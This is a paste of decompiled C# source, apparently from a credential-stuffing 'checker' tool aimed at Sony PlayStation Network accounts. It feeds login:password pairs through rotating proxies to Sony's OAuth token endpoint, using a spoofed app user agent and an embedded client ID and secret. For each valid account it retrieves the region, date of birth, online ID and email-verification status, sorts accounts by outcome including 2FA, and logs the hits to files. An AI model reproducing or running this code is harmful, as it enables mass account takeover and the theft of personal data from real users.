Advertisement
Guest User

Untitled

a guest
Dec 7th, 2018
733
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 4.90 KB | None | 0 0
  1. // Token: 0x0600000A RID: 10 RVA: 0x000026D8 File Offset: 0x000026D8
  2.         private void Checker(string login, string pass)
  3.         {
  4.             new Random().Next(0, 450);
  5.             new Random().Next(0, 20);
  6.             new Random().Next(0, 150);
  7.             try
  8.             {
  9.                 Listing.left--;
  10.                 using (HttpRequest httpRequest = new HttpRequest())
  11.                 {
  12.                     httpRequest.Cookies = new CookieDictionary(false);
  13.                     if (this.cbProxy.Text == "HTTP/s")
  14.                     {
  15.                         httpRequest.Proxy = HttpProxyClient.Parse(Help.GetProxy());
  16.                     }
  17.                     if (this.cbProxy.Text == "SOCKS-4")
  18.                     {
  19.                         httpRequest.Proxy = Socks4ProxyClient.Parse(Help.GetProxy());
  20.                     }
  21.                     if (this.cbProxy.Text == "SOCKS-5")
  22.                     {
  23.                         httpRequest.Proxy = Socks5ProxyClient.Parse(Help.GetProxy());
  24.                     }
  25.                     httpRequest.ConnectTimeout = (int)this.numTyam.Value * 1000;
  26.                     httpRequest.UserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13D15 PlayStation App/3.20.2/en-GB/en-GB";
  27.                     httpRequest.AllowAutoRedirect = false;
  28.                     string[] array = login.Split(new char[]
  29.                     {
  30.                         '@'
  31.                     });
  32.                     string str = string.Concat(new string[]
  33.                     {
  34.                         string.Concat(new string[]
  35.                         {
  36.                             "grant_type=password&scope=user%3Aaccount.email.create%20user%3Aaccount.emailVerification.get%20kamaji%3Aget_account_hash%20user%3Aaccount.phone.create%20user%3Aaccount.phone.main.update%20user%3Aaccount.phone.masked.get%20user%3Aaccount.notification.create%20kamaji%3Aset_privacy_settings%20kamaji%3Aactivity_feed_set_feed_privacy&username=",
  37.                             login,
  38.                             "&password=",
  39.                             pass,
  40.                             "&client_id=7e309afa-8d09-40d2-8e24-5029642f2c3c&client_secret=8aCv07DXTHJ1T2nA"
  41.                         })
  42.                     });
  43.                     httpRequest.AllowAutoRedirect = true;
  44.                     httpRequest.IgnoreProtocolErrors = true;
  45.                     httpRequest.AddHeader("X-Requested-With", "XMLHttpRequest");
  46.                     httpRequest.Referer = "https://id.sonyentertainmentnetwork.com/create_account/?entry=%2Fcreate_account&state=e30%3D&ui=pr&client_id=55950157-ae9d-4b10-b0de-94dbef199f2c&noEVBlock=false&prompt=login&redirect_uri=https%3A%2F%2Faccount.sonyentertainmentnetwork.com%2Foauth_security_check&request_locale=ru_UA&response_type=code&scope=openid%2Ckamaji%3Aprivacy_control%2Ckamaji%3Aactivity_feed_get_feed_privacy%2Ckamaji%3Aactivity_feed_set_feed_privacy";
  47.                     string text = httpRequest.Post("https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/token", str, "application/x-www-form-urlencoded").ToString();
  48.                     if (text.Contains("\"access_token\""))
  49.                     {
  50.                         Match match = Regex.Match(text, "(?<=\"access_token\":\")(.*?)(?=\")");
  51.                         httpRequest.AddHeader("Authorization", "Bearer " + match.ToString());
  52.                         string input = httpRequest.Get("https://vl.api.np.km.playstation.net/vl/api/v1/mobile/users/me/info", null).ToString();
  53.                         httpRequest.AddHeader("Authorization", "Bearer " + match.ToString());
  54.                         Match match2 = Regex.Match(input, "(?<=\"region\":\")(.*?)(?=\")");
  55.                         Match match3 = Regex.Match(input, "(?<=\"dateOfBirth\":\")(.*?)(?=\")");
  56.                         Match match4 = Regex.Match(input, "(?<=\"onlineId\":\")(.*?)(?=\")");
  57.                         Match match5 = Regex.Match(httpRequest.Get("https://accounts.api.playstation.com/api/v1/accounts/me/emailVerification", null).ToString(), "(?<={\"status\":\")(.*?)(?=\")");
  58.                         Directory.CreateDirectory("Result");
  59.                         new Random(DateTime.Now.Millisecond);
  60.                         new int[20];
  61.                         this.textBox1.AppendText(string.Concat(new object[]
  62.                         {
  63.                             login,
  64.                             ":",
  65.                             pass,
  66.                             "\r\nEmailVerification: ",
  67.                             match5,
  68.                             "\r\nRegion: ",
  69.                             match2,
  70.                             "\r\nDOB: ",
  71.                             match3,
  72.                             "\r\nOnlineId: ",
  73.                             match4,
  74.                             "\r\n**********************\r\n"
  75.                         }));
  76.                         this.DataResult("good", login + ":" + pass, "good");
  77.                         File.AppendAllText("Result/Result[" + Help.time + "].txt", string.Concat(new object[]
  78.                         {
  79.                             login,
  80.                             ":",
  81.                             pass,
  82.                             "\r\nEmailVerification: ",
  83.                             match5,
  84.                             "\r\nRegion: ",
  85.                             match2,
  86.                             "\r\nDOB: ",
  87.                             match3,
  88.                             "\r\nOnlineId: ",
  89.                             match4,
  90.                             "\r\n**********************\r\n"
  91.                         }));
  92.                         File.AppendAllText("Result/Login:Pass[" + Help.time + "].txt", login + ":" + pass + "\r\n");
  93.                     }
  94.                     if (text.Contains("Password expired"))
  95.                     {
  96.                         this.DataResult("passex", array[0] + ":" + pass, "passex");
  97.                         File.AppendAllText("Result/Password Expired[" + Help.time + "].txt", login + ":" + pass + "\r\n");
  98.                     }
  99.                     if (text.Contains("Missing device"))
  100.                     {
  101.                         this.DataResult("2fa", array[0] + ":" + pass, "2fa");
  102.                         File.AppendAllText("Result/Two Factor Auth[" + Help.time + "].txt", login + ":" + pass + "\r\n");
  103.                     }
  104.                     if (text.Contains("\"Invalid login\""))
  105.                     {
  106.                         this.DataResult("bad", array[0] + ":" + pass, "bad");
  107.                     }
  108.                 }
  109.             }
  110.             catch (HttpException)
  111.             {
  112.                 this.DataResult("error", login + ":" + pass, "error");
  113.                 Listing.left++;
  114.             }
  115.         }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement